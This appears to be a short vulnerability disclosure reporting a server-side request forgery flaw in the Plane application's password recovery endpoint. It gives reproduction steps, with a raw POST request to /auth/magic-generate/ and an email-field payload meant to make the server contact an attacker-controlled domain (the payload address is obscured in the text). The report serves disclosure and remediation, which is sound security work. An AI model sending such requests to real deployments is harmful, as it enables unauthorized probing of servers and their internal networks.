Description:

A Server-Side Request Forgery (SSRF) vulnerability has been identified in the Plane application's password recovery functionality. The issue allows attackers to manipulate the email input field and inject a payload to make the server send HTTP requests to attacker-controlled domains.

Steps to Reproduce:

1- Go to the password recovery or login section where the email input is required.

2- Inject the following payload in the email field, replacing the domain with a server you control:

{"email":"[email protected]"}

Send the request:

POST /auth/magic-generate/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 62

{"email":"[email protected]"}

3- Monitor your controlled server to observe the incoming HTTP request from the vulnerable system.
